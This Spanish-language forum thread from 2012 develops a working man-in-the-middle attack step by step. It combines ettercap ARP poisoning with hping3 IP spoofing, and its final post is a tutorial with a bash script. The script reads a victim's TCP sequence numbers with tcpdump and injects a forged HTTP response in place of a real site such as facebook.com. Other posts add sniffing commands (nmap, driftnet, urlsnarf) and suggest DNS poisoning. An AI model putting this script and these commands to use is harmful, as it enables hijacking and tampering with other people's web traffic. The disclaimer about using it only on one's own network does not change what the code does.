¿Ip spoofing? [SOLUCIONADO]

Iniciado por soyloqbuskas, 16 Marzo 2012, 02:12 AM

0 Miembros y 1 Visitante están viendo este tema.

soyloqbuskas

¡Buenas a todos!

Quisiera hacer una prueba entre 2 host dentro de la misma LAN, pero no dispongo de las herramientas adecuadas. Creo que lo que pretendo hacer se llama ip spoofing, pero no estoy seguro...

Mi idea es la siguiente:
- Hay 2 host dentro la misma LAN, Host_A (192.168.1.2) y Host_B(192.168.1.3)
- El Host_A tiene establecida una conexion con firefox sobre TCP/IP con un servidor cuya ip es    80.70.60.50
- El Host_B de alguna manera es capaz de capturar los paquetes que envia el servidor hacia el Host_A conociendo tan solo la ip del Host_A.
- El Host_B envia un fichero .html al Host_A cuya Ip_origen es la del servidor (80.70.60.50) y cuyo nº de secuencia del paquete es el nº de secucencia que espera el Host_A
- El resultado final es que el Host_A en vez de visualizar la web del servidor, visualiza la web que le mando el Host_B.

Bien, mis preguntas son:
¿Esto se llama ip spoofing no?
Si esto que propongo se pudiera hacer....
¿Como podria hacer el Host_B para saber que conexiones tiene el Host_A y capturar sus paquetes?
¿Como podria el Host_B enviar el .html eligiendo la ip de origen y el nº de secuencia del paquete?

Muchas gracias, un saludo.
"Si tienes 1 manzana y yo tengo otra manzana...
y las intercambiamos, ambos seguiremos teniendo 1 manzana.
Pero...si tu tienes 1 idea y yo tengo otra idea...
y las intercambiamos, ambos tendremos 2 ideas."


George Bernard Shaw

el-brujo

yo diría que el ataque es un MITM (Man in the middle), estás engañando al Host_A para que vea lo que hay en el Host_B y no realmente lo que quiere ver.

soyloqbuskas

¡Efectivamente! se llama Man In The Middle, y ya se como hacerlo con ettercap, ahora solo me queda lo de enviar el paquete  modificando la ip de origen, el puerto de origen y destino TCP y el nº de secuencia...

Para lo de enviar el paquete me estoy mirando hping3, pero no soy capaz de modificar el nº de secuencia. Supuestamente es con el parametro -M seqnum, pero no me funciona....

Esto es lo que pongo en el terminal:
Citarhping3  95.131.168.181 -s 23 -p 80 -w 200 -M 1234 -S -c 5 -d 150 -E miFichero.txt

Los parametros son:
-s puertoOrigen
-p puertoDestino
-w tamañoVentana
-M seqnum
-S SYN=1
-c numPaquetes
-d tamañoDatos
-E Datos

¿Alguna idea de como hacerlo?
"Si tienes 1 manzana y yo tengo otra manzana...
y las intercambiamos, ambos seguiremos teniendo 1 manzana.
Pero...si tu tienes 1 idea y yo tengo otra idea...
y las intercambiamos, ambos tendremos 2 ideas."


George Bernard Shaw

soyloqbuskas

Bueno....creo que ya empiezo a dar con la respuesta..........

Como sniffer uso wireshark y cuando ejecuto el comando hping3 que dije antes, me pone que el numero de secuencia relativo es el 0.....y es que al parecer wireshark enmascara los numeros de secuencia. Por tanto si yo con hping3 le pongo que el 1º seqnum sea el 123 y un data-size de 100, wireshar en vez de mostrarme que el 1º paquete tiene de seq num el 123 y el 2º paquete tiene eel 223, este pone que el 1º paquete tiene un seqnum=0 y el 2º paquete tiene de seqnum=100...........

¿Alguien sabe como desenmascarar los seqnum en wireshark para quee muestre los reales y no los seqnum relativos?

Gracias, un saludo!
"Si tienes 1 manzana y yo tengo otra manzana...
y las intercambiamos, ambos seguiremos teniendo 1 manzana.
Pero...si tu tienes 1 idea y yo tengo otra idea...
y las intercambiamos, ambos tendremos 2 ideas."


George Bernard Shaw

soyloqbuskas

OOOK! estaba en lo cierto! el wireshark enmascara los seqnum, al desabilitar esta opcion comprobe que el seqnum que se pone en el paquete enviado es el seqnum que pones en hping3 +1, por tanto si pongo en el terminal lo siguiente:
Citarhping3  95.131.168.181 -s 23 -p 80 -w 200 -M 1234 -S -c 1 -d 150 -E miFichero.txt

entonces se enviara un paquete  a dicha ip cuyo seq num es: 1235!!!!!

Ahora solo me queda hacer la prueba para ver si el navegador del host victima habre mi fichero html haciendo el ip-spoofing! si lo consigo os hare un tutorial!! jeje ;)
"Si tienes 1 manzana y yo tengo otra manzana...
y las intercambiamos, ambos seguiremos teniendo 1 manzana.
Pero...si tu tienes 1 idea y yo tengo otra idea...
y las intercambiamos, ambos tendremos 2 ideas."


George Bernard Shaw

kub0x

Cita de: soyloqbuskas en 20 Marzo 2012, 21:46 PM
OOOK! estaba en lo cierto! el wireshark enmascara los seqnum, al desabilitar esta opcion comprobe que el seqnum que se pone en el paquete enviado es el seqnum que pones en hping3 +1, por tanto si pongo en el terminal lo siguiente:
entonces se enviara un paquete  a dicha ip cuyo seq num es: 1235!!!!!

Ahora solo me queda hacer la prueba para ver si el navegador del host victima habre mi fichero html haciendo el ip-spoofing! si lo consigo os hare un tutorial!! jeje ;)

No estaría mal que nos contaras como realizaste el IP Spoofing :p

Saludos.
Viejos siempre viejos,
Ellos tienen el poder,
Y la juventud,
¡En el ataúd! Criaturas Al poder.

Visita mi perfil en ResearchGate


soyloqbuskas

El ip-spoofing, como ya dije mas arriba, lo hago con hping3, y lo hago de la siguiente manera:
Citarhping3  -a 80.80.80.80 95.131.168.181 -s 80 -p 80 -M 122 -S -c 1 -d 150 -E miFichero.html
ip-spoofeada: 80.80.80.80
ip-victima: 95.131.168.181
puerto origen: -s 80
puerto destino: -p 80
seqnum: 123 (Como dije antes, el seq num es el que se pasa con el -M +1, si -M 122, entonces seqnum=123)
numero de paquetes a enviar: -c 1
tamaño campo de datos: -d 150
datos a enviar: miFichero.html

Un saludo!
"Si tienes 1 manzana y yo tengo otra manzana...
y las intercambiamos, ambos seguiremos teniendo 1 manzana.
Pero...si tu tienes 1 idea y yo tengo otra idea...
y las intercambiamos, ambos tendremos 2 ideas."


George Bernard Shaw

soyloqbuskas

#7
¡Buenas a todos!

Aun sigo un poco atascado con el tema....soy capaz de hacer el MITM y el IP-Spoofing, pero el navegador de la victima no habre mi fichero html...

Para hacer el ip-spoofing tengo el siguiente script que simula la respuesta del servidor web a una conexion TCP para HTTP:
Citarwhile true;
do
hping3  -a 173.194.34.247 192.168.1.134 -s 80 -p 80 -M 1000 -S -A -c 1;
# -a IpServidor IpVictima -s PuertoOrigen -P PuertoDestino -M seqnum -S (SYN) -A (ACK) -c NumPackt

hping3 -a 173.194.34.247 192.168.1.134 -s 80 -p 80 -M 1001 -A -c 1;
# -a IpServidor IpVictima -s PuertoOrigen -P PuertoDestino -M seqnum -A (ACK) -c NumPackt

hping3 -a 173.194.34.247 192.168.1.134 -s 80 -p 80 -M 1002 -P -A -c 1 -d 150 -E miFichero.html;
# -a IpServidor IpVictima -s PuertoOrigen -P PuertoDestino -M seqnum -P (PUSH) -A(ACK) -c numPack -d dataSize -E fichero
done
¿Alguna idea de porque falla?
La respuesta del servidor es SYN/ACK y ACK y luego los datos con el flag PUSH/ACK no???

¿Alguna idea de porque falla la conexion?

PD: mi fichero html es este....:
Citar
HTTP/1.0 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 150
Date: Thu, 22 Mar 2012 02:02:42 GMT
Server: gws

<html>
Discover all host of LAN:
        nmap -sP 192.168.1.*
Visualizar imagenes en un MITM
        driftnet -i wlan0
Visualizar urls en un MITM
        urlsnarf -i wlan0
ettercap
        ettercap -G
hping3
         hping3  95.131.168.181 -s 80 -p 80 -M 122 -S -c 1 -d 150 -E miFichero.html
</html>

"Si tienes 1 manzana y yo tengo otra manzana...
y las intercambiamos, ambos seguiremos teniendo 1 manzana.
Pero...si tu tienes 1 idea y yo tengo otra idea...
y las intercambiamos, ambos tendremos 2 ideas."


George Bernard Shaw

soyloqbuskas

¡BUENAS A TODOOOOOS!!!

Al fin lo HE CONSEGUIDO. Ya tengo el script y me ha funcionado jeje pero tengo que optimizarlo porque hay veces que si funciona y otras que no.....la buena noticia es que se porque no funciona ha veces! jeje

Asi que aqui os voy a dejar un tutorial de como lo hago el MITM+Ip-Spoofing+Inyencion de fichero .html

1) Prerrequisitos:
    SO: cualquier distribucion de linux (script en bash)
    programas: ettercap, tcpdump, hping3, grep, cut (estos 2 ultimos vienen con linux)

2) abrimos un terminal y ponemos: $ettercap -G
       con el ettercap en modo grafico pinchamos en: Sniff -> Unified sniffing y seleccionamos la interfaz que estemos usando (eth0 o wlan0...)
       pinchamos en: Host -> scan for hosts
       tras el escaneo pinchamos en: Host -> Host list   
       ahora veremos una lista de los host que hay dentro de nuestra LAN
       pinchamos en la ip del router y pinchamos en Add to Target 1   
       pinchamos en la ip de la victima y pinchamos en Add to Target 2
       pinchamos en: Start -> Start sniffing
       pinchamos en: Mitm -> Arp poisoning

       #Ya estamos haciendo un Man In The Middle

3) copiamos siguiente script:
Código (bash) [Seleccionar]

        tcpdump -A -i wlan0 -nvXSs 0 -c1 tcp | grep cksum | grep  Flags | head -n 1 | cut -c5-130 > ficheroAux
        ip1=$(cut -d' ' -f1 ficheroAux | cut -d. -f1-4)
        port1=$(cut -d' ' -f1 ficheroAux| cut -d. -f5)
        ip2=$(cut -d: -f1 ficheroAux | cut -d' ' -f2- |cut -d. -f1-4 | cut -c3-15)
        port2=$(cut -d: -f1 ficheroAux | cut -d. -f9)
        let seqnum=$(cut -dq -f2 ficheroAux | cut -c2-11 | cut -d, -f1)

        let seqnumInc=$seqnum+1

        hping3  -a $ip2 $ip1 -s $port2 -p $port1 -M 1234567890 -L $seqnumInc -S -A -c 1

        let seqnumInc2=$seqnumInc+1

        hping3  -a $ip2 $ip1 -s $port2 -p $port1 -M 1234567891 -L $seqnumInc2 -A -c 1
        hping3  -a $ip2 $ip1 -s $port2 -p $port1 -M 1234567891 -L $seqnumInc2 -A -P -c 1 -d 500 -E miFichero.html

        rm ficheroAux


        En la ultima linea del hping3 cambiais miFichero.html por la ruta de un fichero vuestro en html con el siguiente formato:

Citar
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 150
Date: Thu, 22 Mar 2012 02:02:42 GMT
Server: gws

<html>
          Aqui podeis poner el texto que querais
</html>


4) ejecutais el script, y cuando la victima visite un web (ej.: www.facebook.com).........
        VOILA! se le habrio nuestro fichero html!!!


NOTA: El script es un poco lento...y si la victima hace la conexion muy rapida con el servidor web no funcionara....pero a mi con facebook.com me ha funcionado.

NOTA 2: Ahora estoy buscando una forma de optimizar el script para que sea mas rapido y funcione siempre. Ademas tengo la intencion de introducir  la parte del ettercap dentro del script para que solo sea ejecutar y listo! jejeje

PD: NO ME HAGO RESPONSABLE DEL USO INDEBIDO DE ESTE TUTORIAL. SI ALGUIEN LO PONE EN PRACTICA QUE LO HAGA EN SU PROPIA RED Y CON SUS PROPIOS ORDENADORES!!!!


Un saludo a todos!!
"Si tienes 1 manzana y yo tengo otra manzana...
y las intercambiamos, ambos seguiremos teniendo 1 manzana.
Pero...si tu tienes 1 idea y yo tengo otra idea...
y las intercambiamos, ambos tendremos 2 ideas."


George Bernard Shaw

Elmonky

me parece q este ataque tambien se podria implementar con set y tambien con cain en plataformas win envenenando la dns